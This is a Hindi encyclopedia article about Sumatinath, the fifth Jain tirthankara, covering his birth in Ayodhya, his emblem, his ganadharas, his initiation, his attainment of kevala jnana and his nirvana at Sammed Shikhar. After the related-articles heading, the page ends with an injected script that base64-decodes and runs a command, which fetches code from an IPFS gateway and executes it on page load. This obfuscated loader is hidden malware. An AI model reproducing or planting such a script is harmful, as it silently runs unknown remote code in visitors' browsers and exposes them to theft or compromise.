सुमतिनाथ

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

सुमतिनाथ जैन धर्म के पाँचवें तीर्थंकर थे। सुमतिनाथ का जन्म इक्ष्वाकु वंश के राजा मेघप्रय की पत्नी रानी सुमंगला के गर्भ से मघा नक्षत्र में वैशाख शुक्ल अष्टमी को पावन नगरी अयोध्या में हुआ था। इनके शरीर का वर्ण सुवर्ण था, जबकि इनका चिह्न चकवा था। भगवान सुमतिनाथ जी के यक्ष का नाम तुम्बुरव तथा यक्षिणी का नाम वज्रांकुशा था।

  • जैनियों के मतानुसार सुमतिनाथ के गणधरों की संख्या 100 थी।
  • चरम स्वामी इनके गणधरों में प्रथम गणधर थे।
  • भगवान सुमतिनाथ को वैशाख शुक्ल नवमी को पावन नगरी अयोध्या में दीक्षा की प्राप्ति हुई थी।
  • दीक्षा प्राप्ति के पश्चात् 2 दिन बाद इन्होनें खीर से प्रथम पारणा किया था।
  • 20 वर्ष तक कठोर तप के बाद अयोध्या में ही चैत्र शुक्ल एकादशी को 'प्रियंगु' वृक्ष के नीचे इन्हें 'कैवल्य ज्ञान' की प्राप्ति हुई।
  • जैन धर्मावलम्बियों के अनुसार सुमतिनाथ ने कई वर्षों तक मानव जाति को अहिंसा और सत्य के मार्ग पर चलने का सन्देश दिया।
  • कथानुसार भगवान श्री सुमतिनाथ चैत्र शुक्ल एकादशी को ही सम्मेद शिखर पर निर्वाण को प्राप्त हुए।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. श्री सुमतिनाथ जी (हिन्दी)। । अभिगमन तिथि: 26 फ़रवरी, 2012।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>